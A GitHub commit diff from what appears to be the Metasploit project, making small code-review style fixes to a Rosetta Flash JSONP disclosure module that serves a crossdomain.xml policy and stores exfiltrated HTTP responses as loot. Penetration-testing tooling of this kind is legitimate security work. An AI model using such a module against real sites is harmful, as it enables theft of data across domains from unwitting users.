Skip to content

Commit e0389df

Browse files
committed
Update code as per @wvu's code review.
1 parent dd43906 commit e0389df

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -53,11 +53,11 @@ def initialize(info = {})
5353
end
5454

5555
def run
56-
if datastore['CHECK'] and check == Msf::Exploit::CheckCode::Safe
56+
if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
5757
raise "JSONP endpoint does not allow sufficiently long callback names."
5858
end
5959

60-
if not datastore['URIPATH'] == '/'
60+
unless datastore['URIPATH'] == '/'
6161
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
6262
end
6363

@@ -75,10 +75,10 @@ def check
7575

7676
def on_request_uri(cli, request)
7777
vprint_status("Request '#{request.method} #{request.uri}'")
78-
if request.uri =~ /crossdomain\.xml/
78+
if request.uri.end_with? 'crossdomain.xml'
7979
print_status "Responding to crossdomain request.."
8080
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
81-
elsif request.uri =~ /\.log/
81+
elsif request.uri.end_with? '.log'
8282
body = URI.decode(request.body)
8383
file = store_loot(
8484
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"

0 commit comments

Comments
 (0)